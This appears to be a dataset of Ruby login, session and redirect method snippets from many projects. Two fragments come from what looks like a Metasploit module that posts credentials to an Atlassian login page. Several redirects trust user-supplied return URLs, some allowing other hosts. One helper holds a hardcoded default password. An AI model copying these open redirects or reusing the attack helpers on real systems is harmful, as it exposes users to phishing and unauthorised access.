(User.find_by_primary_email(params[:username].downcase) || User.find_by_nickname(params[:username].downcase.to_s)) if params[:username]\n end\n\n self.class.trace_execution_scoped(['Custom/login/if_block']) do\n if @u and @u.has_password? and @u.valid_password?(params[:password])\n @user = @u\n elsif @u and (params[:password] == \"anonymous\") and (@u.user_type == User::USER_TYPE[:anonymous])\n @user = @u\n else\n query = {:auth_failure => 1, :auth_strategy => \"that username/password\"}\n query[:redir] = params[:redir] if params[:redir]\n redirect_to add_query_params(request.referer || Settings::ShelbyAPI.web_root, query) and return\n end\n end\n\n # any user with valid email/password is a valid Shelby user\n # this sets up redirect\n self.class.trace_execution_scoped(['Custom/login/sign_in_current_user']) do\n sign_in_current_user(@user)\n end\n redirect_to clean_query_params(@opener_location) and return\n end", "def user_login\n unless logged_in?\n navigated_location #stores the location that was navigated before login\n flash[:alert]= \"You Must Be Log In Order To Access that Portion of the Site\" \n redirect_to login_path\n end\n end", "def redirect_to_login_page\n query_params = request.query_parameters\n query_params.merge!(return_to: request.path)\n\n target = cms_path(Homepage.default.login_page, query_params)\n\n redirect_to(target, alert: \"This page is protected. You either don't have neccessary access rights or you are not logged in.\")\n end", "def login\n # redirect to main page if user is already logged in.\n if logged_in? && !request.post?\n if @real_user.admin_user?\n redirect_to(admin_path)\n elsif allowed_to?(:role_is_switched?)\n redirect_to course_assignments_path(session[:role_switch_course_id])\n else\n redirect_to(courses_path)\n end\n return\n end\n unless Settings.remote_auth_login_url || Settings.validate_file\n flash_now(:error, t('main.sign_in_not_supported'))\n end\n if remote_auth? && remote_user_name\n flash_message(:error,\n I18n.t('main.external_authentication_user_not_found',\n name: Settings.remote_auth_login_name ||\n I18n.t('main.external_authentication_default_name')))\n end\n return unless request.post?\n\n # Get information of the user that is trying to login if his or her\n # authentication is valid\n unless validate_login(params[:user_login], params[:user_password])\n render :login, locals: { user_login: params[:user_login] }\n return\n end\n\n session[:auth_type] = 'local'\n\n found_user = User.find_by(user_name: params[:user_login])\n if found_user.nil? || !(found_user.admin_user? || found_user.end_user?)\n flash_now(:error, Settings.validate_user_not_allowed_message || I18n.t('main.login_failed'))\n render :login, locals: { user_login: params[:user_login] }\n return\n end\n\n self.real_user = found_user\n\n uri = session[:redirect_uri]\n session[:redirect_uri] = nil\n refresh_timeout\n # redirect to last visited page or to main page\n if cookies.encrypted[:lti_data].present?\n lti_data = JSON.parse(cookies.encrypted[:lti_data]).symbolize_keys\n redirect_url = lti_data.key?(:lti_redirect) ? lti_data[:lti_redirect] : root_url\n redirect_to redirect_url\n elsif uri.present?\n redirect_to(uri)\n elsif found_user.admin_user?\n redirect_to(admin_path)\n else\n redirect_to(courses_path)\n end\n end", "def login_page\n end", "def authenticate_request\n session[:requested_url] = request.fullpath\n\n url = logged_in? ? shibbolite.access_denied_url : shibbolite.login_url\n\n # redirect to the selected url\n respond_to do |format|\n format.html { redirect_to url }\n format.js { render js: \"window.location.assign('#{url}');\"}\n end\n end", "def login\r\n if cookies.signed[:remember_me]\r\n user = DcUser.find(cookies.signed[:remember_me])\r\n if user and user.active\r\n fill_login_data(user, true)\r\n return(redirect_to params[:return_to], allow_other_host: true)\r\n else\r\n clear_login_data # on the safe side\r\n end\r\n end\r\n # Display login\r\n route = params[:route] || 'poll'\r\n redirect_to(\"/#{route}?poll_id=login&return_to=#{params[:return_to]}\", allow_other_host: true)\r\nend", "def user_logged_in\n if session[:just_logged_in] && !current_user.is_admin \n gon.display_login_popup = true\n \n session[:just_logged_in] = false\n end\n end", "def logged_in?\n # Are we on the login page already?\n if username_field.present?\n # Yes! So, we're not logged in...\n false\n # No, the Kuali header is showing...\n elsif login_info_div.present?\n # So, is the user currently listed as logged in?\n return login_info_div.text.include? @user_name\n else # We're on some page that has no Kuali header, so...\n begin\n # We'll assume that the portal window exists, and go to it.\n on(BasePage).return_to_portal\n # Oops. Apparently there's no portal window, so...\n rescue\n # We'll close any extra tabs/windows\n on(BasePage).close_children if @browser.windows.size > 1\n # And make sure that we're using the \"parent\" window\n @browser.windows[0].use\n end\n # Now that things are hopefully in a clean state, we'll start\n # the process again...\n logged_in?\n end\n end", "def log_in(user)\n session[:user_id] = user.id\n redirect_path = session[:redirect_after_login]\n session[:redirect_after_login] = nil\n redirect_path\n end", "def inner_iframe\n if logged_in?\n @account = current_account\n flash[:notice] = 'You have successfully logged in'\n @remote_data = build_remote_data( params[:document_id] )\n @status = true\n render :action=>'iframe_login_status'\n else\n @next_url = '/auth/iframe_success'\n session[:dv_document_id]=params[:document_id]\n render :template=>'authentication/social_login'\n end\n end", "def logged_in_user\n unless logged_in?\n flash[:danger] = 'Please log in.'\n # redirect_to login_url\n # because upload is accessed through ajax, we use JS to redirect\n respond_to do |format|\n format.js { render js: \"window.location = '#{login_path}'\" }\n format.html { redirect_to login_url }\n end\n\n end\n end", "def login\r\n if cookies.signed[:remember_me]\r\n user = DcUser.find(cookies.signed[:remember_me])\r\n if user\r\n fill_login_data(user, true)\r\n return redirect_to params[:return_to]\r\n\r\n else\r\n clear_login_data # on the safe side\r\n end\r\n end\r\n# Display login \r\n route = params[:route] || 'poll'\r\n redirect_to \"/#{route}?poll_id=login&return_to=#{params[:return_to]}\"\r\nend", "def authorize_user\r\n unless session[:user_id]\r\n session[:original_uri] = request.request_uri\r\n flash[:notice] = Resource.get(\"user_not_authorized_wo_login\")\r\n redirect_to(:controller => \"welcome\", :action => \"signin\")\r\n end\r\n end", "def _login? redirect_url = nil\n\t\tislogin = _user[:uid] > 0 ? true : false\n\t\tif islogin\n\t\t\t_session_update _user[:sid], _user[:uid]\n\t\telse\n\t\t\tif redirect_url != nil and redirect_url != request.path\n\t\t\t\t@qs[:come_from] = request.path\n\t\t\t\tredirect _url2(redirect_url)\n\t\t\tend\n\t\tend\n\t\tislogin\n\tend", "def autenticathe_login!\n unless someone_is_logged_in?\n store_location\n flash[:danger] = \"Por favor, Inicie sesion.\"\n redirect_to welcome_path\n end\n end", "def logged_in_parent\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end", "def logged_in_parent\r\n unless logged_in?\r\n store_location\r\n flash[:danger] = \"Please log in.\"\r\n redirect_to login_url\r\n end\r\n end", "def checklogin\n if user_signed_in? #&& !current_user.admin?\n if session[:redirectcheck] == true\n sign_out_and_redirect(current_user)\n elsif session[:netidcheck] != true\n session[:redirectcheck] = true\n redirect_to \"https://oauth.oit.duke.edu/oauth/authorize.php?client_id=organizerish&redirect_uri=https%3A%2F%2Forganizerish.herokuapp.com%2Fnetidsignin&state=b7b486e7002feb52a588853507b403aa0729fbd8f4576105&response_type=token\" \n end\n end\n end", "def http_auth_login\n # FIXME: Implement\n end", "def loginpage\n end", "def sign_in_user user\n user.fetch_pages\n sign_in_and_redirect user, :event => :authentication\n user\n end", "def verify_existing_login\n return if cookies[GlobalConstant::Cookie.user_cookie_name.to_sym].blank?\n\n @response = CompanyApi::Request::Client.new(\n CompanyApi::Response::Formatter::Client,\n request.cookies,\n {\"User-Agent\" => http_user_agent}\n ).fetch_verify_cookie_details\n\n # success means user is already logged in, we would redirect to dashboard / planner\n # Error means user ain't logged in yet.\n return unless @response.success?\n\n @presenter_obj = ::WebPresenter::UserPresenter.new(@response, params)\n\n if @presenter_obj.client_token.step_three_done?\n redirect_to :dashboard, status: GlobalConstant::ErrorCode.temporary_redirect and return\n else\n redirect_to :planner, status: GlobalConstant::ErrorCode.temporary_redirect and return\n end\n\n end", "def process_login\r\n # Somebody is probably playing\r\n return dc_render_404 unless ( params.dig(:record, :username) && params.dig(:record, :password) )\r\n\r\n return_to = request.env['HTTP_REFERER'] || '/'\r\n if params[:record][:password].present? #password must not be empty\r\n user = DcUser.find_by(username: params[:record][:username], active: true)\r\n if user && user.authenticate(params[:record][:password])\r\n fill_login_data(user, params[:record][:remember_me].to_i == 1)\r\n return redirect_to(params[:return_to] || return_to, allow_other_host: true)\r\n else\r\n clear_login_data # on the safe side\r\n end\r\n end\r\n flash[:error] = t('drgcms.invalid_username')\r\n redirect_to return_to\r\nend", "def shibboleth_passive_login\n # This is the original action called\n # before checking if we were logged in\n origin = params[:origin] if params[:origin]\n # If there is a session, authenticate the user\n if shib_session_exists?\n redirect_to user_nyu_shibboleth_omniauth_authorize_path(institute: current_institution.code, auth_type: :nyu, origin: origin)\n # If there is no session, redirect back to the last action\n else\n redirect_to origin || root_url\n end\n end", "def service_log_in(user)\n # Get the jsession_id from the initial navigation to the site.\n jsession_id = BaseTest.driver.manage.cookie_named('JSESSIONID')[:value]\n\n # This is a pretty insecure site, and simple to do, you might have more complexity in your own implementation.\n auth_headers = { 'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',\n 'Accept-Encoding' => 'gzip, deflate',\n 'Accept-Language' => 'en-US,en;q=0.8',\n 'Cache-Control' => 'max-age=0',\n 'Content-Length' => '179',\n 'Content-Type' => 'application/x-www-form-urlencoded',\n 'Cookie' => \"JSESSIONID=#{jsession_id}\",\n 'Origin' => 'http://demo.borland.com',\n 'Referer' => 'http://demo.borland.com/InsuranceWebExtJS/index.jsf',\n 'Host' => 'demo.borland.com',\n 'Upgrade-Insecure-Requests' => '1',\n 'User-Agent' => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36' }\n\n auth_body = \"login-form=login-form&login-form%3Aemail=#{ERB::Util.url_encode(user.email)}{&login-form%3Apassword=#{user.password}&login-form%3Alogin.x=34&login-form%3Alogin.y=7&javax.faces.ViewState=j_id1%3Aj_id2\"\n\n auth_response = make_request(AllPages.login_page.base_url + AllPages.login_page.url + \";jsessionid=#{jsession_id}\", 'post', auth_headers, auth_body, [200])\n\n DemoBaseTest.driver.manage.add_cookie({ :name => 'UserSessionFilter.sessionId', :value => jsession_id, :exipres => 'Thu, 06-Oct-2016 20:25:20 GMT' })\n BaseTest.driver.navigate.refresh\n end", "def login_user_and_redirect(user,redirect=nil)\n if user.active?\n user.last_login = Time.now\n Extender::Activities.day_activity(user)\n user.save\n session[:cuid] = user.id\n else\n flash[:notice] = t(\"users.email_not_exists_or_blocked\")\n end\n\n if redirect.blank? || redirect == login_index_url\n redirect_to root_url\n else\n redirect_to redirect\n end\n end", "def handle_display\n display_login(MAIN_LOGIN)\n end", "def req_login\n unless curr_user\n flash[:danger] = \"Login to view this content\"\n redirect_to login_url\n end\n end", "def authenticate_user\n# save current page for redirection after login\n redirect_to controller: :user, action: :login unless logged_in? \n current_user\n end", "def log_in\n check_for_signed_in_user_and_issues\n\n (redirect_to \"/\" and return) if user_signed_in?\n\n @login = :true\n\n @auth_failure = params[:auth_failure] == '1'\n @auth_strategy = params[:auth_strategy]\n\n @mobile_os = detect_mobile_os\n @is_mobile = is_mobile?\n\n @redirect_loc = params[:redir] if params[:redir]\n\n render '/home/landing'\n end", "def fill_login_data(user, remember_me)\r\n session[:user_id] = user.id\r\n session[:user_name] = user.name\r\n session[:edit_mode] = 0 \r\n session[:user_roles] = []\r\n# special for SUPERADMIN\r\n sa = DcPolicyRole.find_by(system_name: 'superadmin')\r\n if sa and (role = user.dc_user_roles.find_by(dc_policy_role_id: sa.id))\r\n session[:user_roles] << role.dc_policy_role_id\r\n session[:edit_mode] = 2\r\n return\r\n end\r\n# read default policy from site \r\n default_policy = dc_get_site().dc_policies.find_by(is_default: true)\r\n# load user roles \r\n user.dc_user_roles.each do |role|\r\n next unless role.active\r\n next if role.valid_from and role.valid_from > Time.now.end_of_day.to_date\r\n next if role.valid_to and role.valid_to < Time.now.to_date\r\n# check if role is active in this site\r\n policy_role = default_policy.dc_policy_rules.find_by(dc_policy_role_id: role.dc_policy_role_id)\r\n next unless policy_role\r\n \r\n# set edit_mode \r\n# session[:edit_mode] = 1 if policy_role.has_cms_menu\r\n session[:edit_mode] = 1 if policy_role.permission > 1\r\n session[:user_roles] << role.dc_policy_role_id\r\n end\r\n# Add default guest role if no role set\r\n# This was previously in dc_user_can. I belive it should be here. \r\n#TODO This might not be the best idea. Check in the future.\r\n if session[:user_roles].size == 0\r\n guest = DcUserRole.find_by(:system_name => 'guest')\r\n session[:user_roles] << guest.id if guest\r\n end\r\n \r\n# Save remember me cookie if not CMS user and remember me is selected\r\n if session[:edit_mode] == 0 and remember_me\r\n cookies.signed[:remember_me] = { :value => user.id, :expires => 180.days.from_now}\r\n end\r\nend", "def login_user_with_interface(username, password)\n activate_authlogic \n visit login_path\n click_link \"Connexion | Inscription\"\n fill_in 'user_session_username', :with => username\n fill_in 'user_session_password', :with => password\n click_button \"Connexion\"\n wait_for_ajax \nend", "def user_logged_in\n redirect_to \"/scripts\" if session[:user_id]\n end", "def check_login!\n u = check_and_get_user\n redirect to('/signin.html') unless u\n u\n end", "def login\n redirect_to lato_core.root_path if core_controlSession\n end", "def logged_in_user\n unless logged_in?\n store_location # This line uses a method in sessions_helper to store request location so that it may redirect them to that location upon login.\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end", "def displayLoginPage()\n\t# User Name: \n\t# Password:\n\t# Forgot Password?\tNew User?\n\treturn\nend", "def login\n #If we go to login page we clear all data still in session to force a re-auth\n current_user = nil\n session[:user_id] = nil\n session[\"REMOTE_USER\"] = nil\n env[\"REMOTE_USER\"] = nil\n if params[:redirect_uri].nil? or params[:client_id].nil?\n redirect_to root_path\n else\n @from_application = ClientApplication.find_by_callback_url(params[:redirect_uri])\n if @from_application.nil?\n redirect_to root_path\n end\n end\n\n\n end", "def query_login\r\n send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'login.jsp'))\r\n end", "def login\n session[:job_id] = nil\n\n # external auth has been done, skip markus authorization\n if Settings.remote_user_auth\n if @markus_auth_remote_user.nil?\n render 'shared/http_status', formats: [:html], locals: { code: '403', message: HttpStatusHelper::ERROR_CODE['message']['403'] }, status: 403, layout: false\n return\n else\n login_success, login_error = login_without_authentication(@markus_auth_remote_user)\n if login_success\n uri = session[:redirect_uri]\n session[:redirect_uri] = nil\n refresh_timeout\n # redirect to last visited page or to main page\n redirect_to( uri || { action: 'index' } )\n return\n else\n render :remote_user_auth_login_fail, locals: { login_error: login_error }\n return\n end\n end\n end\n\n # Check if it's the user's first visit this session\n # Need to accommodate redirects for locale\n if params.key?(:locale)\n if session[:first_visit].nil?\n @first_visit = true\n session[:first_visit] = 'false'\n else\n @first_visit = false\n end\n end\n\n @current_user = current_user\n # redirect to main page if user is already logged in.\n if logged_in? && !request.post?\n redirect_to action: 'index'\n return\n end\n return unless request.post?\n\n # strip username\n params[:user_login].strip!\n\n # Get information of the user that is trying to login if his or her\n # authentication is valid\n validation_result = validate_user(params[:user_login], params[:user_login], params[:user_password])\n unless validation_result[:error].nil?\n flash_now(:error, validation_result[:error])\n render :login, locals: { user_login: params[:user_login] }\n return\n end\n # validation worked\n found_user = validation_result[:user]\n if found_user.nil?\n return\n end\n\n # Has this student been hidden?\n if found_user.student? && found_user.hidden\n flash_now(:error, I18n.t('main.account_disabled'))\n redirect_to(action: 'login') && return\n end\n\n self.current_user = found_user\n\n if logged_in?\n uri = session[:redirect_uri]\n session[:redirect_uri] = nil\n refresh_timeout\n # redirect to last visited page or to main page\n redirect_to( uri || { action: 'index' } )\n else\n flash_now(:error, I18n.t('main.login_failed'))\n end\n end", "def login\n get_session_variables_from_authenticated_system\n\n return unless request.post?\n attempt_to_login_user\n\n if logged_in? && authorized?(current_user)\n create_secret_image_code\n set_session_variables_for_authenticated_system\n log_the_login\n redirect_with_proper_protocol_and_query_string\n elsif account_subdomain\n flash.now[:notice] = \"Bad username or password for identity url: #{account_subdomain}.#{AppConfig.host}\"\n else\n flash.now[:notice] = \"Bad username or password.\"\n end\n end", "def client_passive_login\n return_uri = session[:_return_uri]\n session[:_return_uri] = nil\n client_app = client_app(params[:client_id])\n login_path = params[:login_path] || '/users/auth/nyulibraries'\n # If user is signed in\n # redirect to client login\n if user_signed_in? && client_app.present?\n escaped_return_uri = CGI::escape(return_uri) if return_uri.present?\n client_authorize_url = URI.join(URI.parse(client_app.redirect_uri), login_path, \"?origin=#{escaped_return_uri}\")\n redirect_to \"#{client_authorize_url}\"\n # If the user is not signed in but there is a return URI\n # send the user back there\n elsif return_uri.present?\n redirect_to return_uri\n else\n head :bad_request\n end\n end", "def check_redirect_if_user_login\n \t\tif signed_in?\n \t\t\tflash[:alert] = \"You are already login.\"\n \t\t\tredirect_to homes_path and return \n \t\tend\n \tend", "def authenticate_user\n # if user is not logged in, record the current request and redirect\n if (!session[:user_authenticated])\n if User.find(:all).size == 0\n flash[:notice] = 'No users exist in the system. Please create one now.'\n redirect_to :controller => '/management/user', :action => 'create_first'\n else\n flash[:notice] = defined?(UnauthenticatedUserMessage) ? UnauthenticatedUserMessage : 'This is an admin-only function. To continue, please log in.'\n save_user_request\n respond_to do |format|\n format.html { redirect_to :controller => '/management/user', :action => 'login' }\n format.js do\n session[:saved_user_params] = { :controller => '/management/user', :action => 'success_popup' }\n render :partial => '/management/user/login_popup'\n end\n end\n end\n \n return false\n end\n \n return false unless (@user = User.find_by_id(session[:user_id]))\n session[:user_is_superuser] = (@user.is_superuser == 1)\n @user\n end", "def after_login\n if logged_in?\n answer('/')\n else\n redirect Rs(:login, :fail => :session)\n end\n end", "def logged_in_user\n unless logged_in?\n store_location # Store the website that the user is trying to access - this function is a sessions helper\n flash[:danger] = \"You need to log in to access this page.\"\n redirect_to login_url\n end\n end", "def set_functions\n # Login as a given user.\n # @param username [String] The username to use.\n # @return [Boolean] Whether the login process succeeded.\n function(:login) {|as_who = 'ole-khuntley'| raise OLE_QA::Framework::Error,\"Login field not present on this page: #{self.class.name}\" unless login_field.present? ; login_field.set(as_who) ; login_button.click ; if login_confirmation.present? then login_confirmation.text.match(/#{as_who}/) ? true : false else false end}\n # Logout from previous login.\n # @return [Boolean] Whether the logout process succeeded.\n function(:logout) { logout_button.click ; login_confirmation.present? ? false : true}\n end", "def custom_user_sign_in\n if current_user.nil?\n session[:return_location] = request.referrer\n redirect_to new_user_session_path\n else\n redirect_to request.referrer || root_path\n end\n end", "def logged_in_user\n return if logged_in?\n\n store_location\n flash[:danger] = 'Please log in first'\n render 'sessions/new', status: :unauthorized\n true # return true to indicate that this triggered things\n end", "def logged_in_user\n store_location unless logged_in?\n flash[:info] = 'Please log in.' unless logged_in?\n redirect_to login_url unless logged_in?\n end", "def logged_in_user\n return if logged_in?\n store_location\n flash[:danger] = t \"danger.login\"\n redirect_to login_url\n end", "def user_login(user)\n click_log_in\n fill_login_credentials(user)\n end", "def login\r\n login_status = require_login params ##This is called when the end user clicks on login\r\n logger.info(\"UserController::login::status:---#{login_status}\")\r\n if login_status[:statusCode].blank? || login_status[:statusCode]==0\r\n if logged_in?\r\n loggedInNavigation ##When the authentication goes well login boxes gets hide and logout button is displayed by this function\r\n else\r\n\t render :update do |page|\r\n page.replace_html 'flash', login_status[:msg] \r\n page[:flash].show\r\n page[:flash].visual_effect :pulsate, :queue => {:position => 'end', :scope => 'flash'}\r\n page[:flash].visual_effect :fade, :queue => {:position => 'end', :scope => 'flash'}\r\n end\r\n end\r\n else\r\n render :update do |page|\r\n page.replace_html 'flash', login_status[:msg] \r\n page[:flash].show\r\n page[:flash].visual_effect :pulsate, :queue => {:position => 'end', :scope => 'flash'}\r\n page[:flash].visual_effect :fade, :queue => {:position => 'end', :scope => 'flash'}\r\n end \r\n end \r\n end", "def authenticate_login\n if session[:user].nil? #There's definitely no user logged in\n flash[:notice] = \"<div class=\\\"flash_failure\\\">&nbsp;You are not logged in!</div>\"\n redirect_to :action => \"login\", :controller => \"../browse\"\n else #there's a user logged in, but what type is he?\n @user = User.find(session[:user][:id]) # make sure user is in db, make sure they're not spoofing a session id\n if @user.nil?\n flash[:notice] = \"<div class=\\\"flash_failure\\\">&nbsp;You are not logged in!</div>\"\n redirect_to :action => \"login\", :controller => \"../browse\"\n else\n #session passed too!\n end\n end\n end", "def confirm_user_login\n unless user_logged_in?\n session[:desired_url] = url_for(santize_parameters)\n flash[:warning] = 'Please log in.'\n redirect_to(login_path)\n end\n true\n end", "def webauth\n user = EemsUser.load_from_session(session)\n Rails.logger.info(\"Session user_id is: \" << user.sunetid)\n redirect_to params[:referrer]\n end", "def login_and_redirect(user)\n log_in user\n flash[:success] = 'Logged in with Auth0!'\n redirect_back_or user\n end", "def login\n @no_loginout = true # don't display loginout div\n @title = 'Login'\n if request.post?\n @user = User.authenticate( params[:user][:email], params[:user][:password] )\n if [email protected]?\n session[:user_id] = @user.id\n flash[:message] = \"Successfully logged in as #{@user.name}\"\n @user.last_login = Time.now.utc\n @user.save(false)\n update_session_expiration\n # Log an event\n Event.create :name => 'Login', :description => 'Success', :useragent => request.headers['user-agent'],\n :referer => request.headers['referer'], :ip => request.remote_ip\n redirect_to '/'\n else\n flash[:warning] = \"Login failed. Please check the email and password.\"\n # Log an event\n Event.create :name => 'Login', :description => 'Fail', :useragent => request.headers['user-agent'],\n :referer => request.headers['referer'], :ip => request.remote_ip\n end\n else\n # Log an event\n Event.create :name => 'PageView', :description => request.url, :useragent => request.headers['user-agent'],\n :referer => request.headers['referer'], :ip => request.remote_ip\n render :layout => 'khf_no_tabs'\n end\n end", "def do_auth\r\n send_request_cgi({\r\n 'uri' => normalize_uri(target_uri.path.to_s, 'login.jsp'),\r\n 'method' => 'POST',\r\n 'cookie' => \"atlassian.xsrf.token=#{@xsrf_token}; #{@session_id}\",\r\n 'vars_post' => {\r\n 'os_username' => datastore['HttpUsername'],\r\n 'os_password' => datastore['HttpPassword'],\r\n 'os_destination' => '',\r\n 'user_role' => '',\r\n 'atl_token' => '',\r\n 'login' => 'Log+In'\r\n }\r\n })\r\n end", "def logged_in_golfer\n unless logged_in?\n store_location\n flash[:danger] = \"You must be logged in to view or modify content. Please log in.\"\n redirect_to login_url\n end\n end", "def logged_in_golfer\n unless logged_in?\n store_location\n flash[:danger] = \"You must be logged in to view or modify content. Please log in.\"\n redirect_to login_url\n end\n end", "def sign_in\n render inline: \"<html><head><script>window.close();</script></head><body></body></html>\".html_safe\n end", "def login_switch?\n secret_key = \"kill_bill_#{@host_name}!\"\n new_digest = current_user.id.to_s.encrypt(:symmetric, {:password => secret_key})\n if cookies[:layout_settings]\n # cookie name obfuscates intention ;)\n old_digest = cookies[:layout_settings].decrypt(:symmetric, {:password => secret_key}) \n unless old_digest.nil? or current_user.id == old_digest.to_i\n AccountCheater.add_switch(current_user, request, old_digest.to_i)\n end\n #set a fresh digest cookie\n cookies.delete(:layout_settings)\n end\n cookies[:layout_settings] = {:value => new_digest, :expires => 30.days.from_now}\n end", "def logged_in_user\n return if logged_in?\n store_location\n redirect_to sessions_new_path, alert: 'Please log in.'\n end", "def refresh_login(long_life_cookie)\n\t\t\t# Create the base URL we will be POSTing to.\n\t\t\tauthentication_url = base_url(@locale, {:secure => true, :login => true}) + @@login_url + \"?app=armory\"\n\t\t\t\n\t\t\t# Ensure we add the correct bounce point.\n\t\t\tif (@locale == \"www\")\n\t\t\t authentication_url += \"&ref=http://www.wowarmory.com/index.xml\"\n\t\t\telse\n\t\t\t authentication_url += \"&ref=http://#{@locale}.wowarmory.com/index.xml\"\n\t\t\tend\n\t\t\t\n\t\t\t# All we need to do is goto the armory login page passing our long life cookie, we should get 302 instantly.\n\t\t\tstage1 = login_http(authentication_url, true, { @@persistant_cookie => long_life_cookie })\n\n\t\t\t# Let's see\n\t\t\tif (stage1.code == \"200\")\n\t\t\t\t# It's no good, our cookie doesn't work anymore.\n\t\t\t\traise Wowr::Exceptions::InvalidLoginDetails \n\t\t\telsif (stage1.code == \"302\")\n\t\t\t\t# Let's bounce to our page that will give us our short term cookie, URL has Kerbrose style ticket.\n\t\t\t\treturn login_final_bounce(stage1.header['location'])\n\t\t\tend\n\t\t\t\n\t\t\t# Finally we didn't get 302 or 200?\n\t\t\traise Wowr::Exceptions::LoginBroken\n\t\tend", "def daw_login_prompt\n logger.debug '[rdaw] redirecting to login form.'\n rdaw_logout\n\n if respond_to?(:rdaw_login_url, true)\n url = rdaw_login_url\n else\n prefix = Rdaw.const_defined?('DAW_EXTERNAL_URL_PREFIX') ? Rdaw::DAW_EXTERNAL_URL_PREFIX : Rdaw::DAW_URL_PREFIX\n url = [prefix, '/login?appIdKey=', Rdaw::APP_ID_KEY, encoded_daw_return_path].tap do |a|\n a << \"&rv=#{Rdaw::APP_RV}\" if Rdaw.const_defined?('APP_RV')\n end.join\n end\n\n redirect_to(url) and return false\n end", "def after_sign_in_path_for(user)\n # CODE FOR CAS LOGIN --> NEW USER\n if ENV['CAS_AUTH'] && current_user && current_user.id.nil? &&\n current_user.username\n # store username in session since there's a request in between\n session[:new_username] = current_user.username\n new_user_path\n else\n super\n end\n end", "def login_logout\n if @logged\n puts \"Competitor #{@id} is going to log out\"\n @browser.invoke_action(@kernel.resources.controllers.people.logout)\n raise \"Logout action failed\" unless @browser.last_action_result == [\"success\", \"ok\"]\n @logged = false\n else\n puts \"Competitor #{@id} is going to log in\"\n @browser.invoke_action(\n @kernel.resources.controllers.people.login, \n user_tuple(@id, false).keep(:mail, :password)\n )\n raise \"Login action failed\" unless @browser.last_action_result == [\"success\", \"ok\"]\n @logged = true\n end\n end", "def login_status\n if !in_frame?\n if !logged_in?\n return link_to('Login', authenticated_system_login_path, :target => '_top').html_safe\n else\n return link_to(\"Logout #{current_user.login}\", authenticated_system_logout_path, :target => '_top').html_safe\n end\n else\n return ''\n end\n end", "def login()\n session[:cas_user] = nil\n \n if request.post?\n clear_page_vars\n user = User.authenticate(params[:username])\n if user\n session[:cas_user] = user.username\n \n # Cache some common looked-up user fields.\n person = lookup_cas_user(user.username)\n if person\n session[:title] = person.title\n session[:phone] = person.phone\n end\n \n uri = session[:original_uri]\n session[:original_uri] = nil\n home = user_home(user) \n redirect_to(uri || {:action => home})\n else\n flash.now[:notice] = \"Invalid user.\" \n end\n end\n end", "def logged_in_user\n #this only runs if the user is NOT logged in\n #logged_in method comes from the sessions helper file, and returns a boolean\n unless logged_in?\n #this method comes from the sessions_helper file. it stores where you were trying to go, so that after you log in, it will get you there. reference comments in the helper file.\n store_location\n #adds a flash - it is not flash.now because it is redirected to the login page, so that login page counts as a new request which is what we want.\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end", "def bl_check_session\n \n # Check if the user is logged in (has an active session)\n # If not, check if he's got a cookie (to perform the auto-login)\n # Otherwise, return user not logged-in -> requires the user to login using the bookmarklet or redirect to the site\n\n # 1. Auto-login user based on a valid and active bookmarklet token -->\n # Previously logged in using the bookmarklet\n # * User has a 'bookmarklet_session_token' attribute defined\n # * User has a valid session OR cookie on the 'host site'\n #\n # 2. Auto-login user based on the 'host site' credentials --> \n # hasn't used bookmarklet yet, but logged in with a vaild session OR cookie\n # - User doesn't have a valid 'bookmarklet_session_token'\n # - If the user has an active session (checking session[:user])\n # - OR if the user has a valid cookie (for 'remember me' functionality)\n # \n # 3. User is required to login -->\n # hasn't used the 'host site', not logged in using the bookmarklet before\n # OR session OR cookie has expired on the 'hots site'\n # - User logged out from the 'host site'\n # - User has an inactive session without a cookie or with an invalid cookie\n\n # Otherwise, check if the user has an active cookie\n login_from_cookie if session[:user].nil? && cookies[:auth_token]\n \n if session[:user] # User logged in through the host site\n \n @server_response = \"key:\"\n \n if !(@server_response = @server_response + session[:user].bookmarklet_session_token)\n \n # Create the 'bookmarklet_session_token' for subsequent bookmarklet calls\n @server_response = @server_response + generate_bookmarklet_session_token(session[:user])\n \n end\n \n else # User might have used the bookmarklet before but session or cookie expired --> force login and ensure bookmarklet token is reset\n @server_response = \"err:000\"\n end\n \n @flyc_action = \"login\"\n \n render 'bookmarklet/simple.html', :layout => false\n \n end", "def autologin_the_user\n #unless logged_in?\n # FrontendUserSession.create(params[:frontend_user_session])\n #end\n end", "def mints_user_magic_link_login(hash)\r\n # Login in mints\r\n response = @mints_user.magic_link_login(hash)\r\n if response['data'] && response['data']['redirect_url']\r\n # Set a cookie with the session token\r\n cookies[:mints_user_session_token] = { value: response['data']['api_token'], expires: 1.day, secure: true, httponly: true }\r\n redirect_to response['data']['redirect_url']\r\n else\r\n redirect_to '/'\r\n end\r\n end", "def logged_in_user\n unless logged_in? #this is equivalent to if !logged_in? or user is not logged in\n store_location #session help method that stores the accessed url\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end", "def redirect_if_logged_in\n if logged_in?\n redirect \"/users/#{current_user.id}\"\n end\n #def redirect_if_logged_in_as_someone_else\n #end\n end", "def logged_in_user\n unless logged_in?\n redirect_to login_url\n end\n end", "def login_to_system(username='admin', password='dirtybird')\n self.username = username\n self.password = password\n\n # Hack to work-around issue with the login_page page object\n # where the password control is not available unless we \n # resize the browser.\n\n @browser.window.resize_to(1280, 1024)\n\n login\n end", "def log_in\n end", "def logged_user_only\n unless logged_in?\n\t store_location\n\t flash[:danger] = \"Please log in!\"\n\t redirect_to login_url\n\t end\n end", "def open\n @browser.goto @@site_url + \"/login.php\"\n\tWatir::Wait.until { self.loaded? LoginPage.title}\n self\n end", "def login_post\n @user = User.find_by_username(params[:user][:username])\n \n if @user == nil or not @user.password_valid?(params[:user][:password]) then\n respond_to do |format|\n format.html { redirect_to login_users_path, notice: \"Either the username or password is invalid. Please try again.\"}\n format.json { head :no_content }\n end\n return\n else\n session[:user] = @user\n\n if session[:previous_page] then\n respond_to do |format| \n session[:no_back] = true\n format.html { redirect_to session[:previous_page] }\n format.json { head :no_content }\n end\n\n session[:previous_page] = nil\n return\n end\n \n logged_in_home_page = users_path + '/' + session[:user][:id].to_s\n respond_to do |format|\n format.html { redirect_to gardens_path}\n format.json { head :no_content }\n end\n return\n end\n end", "def login_required\n 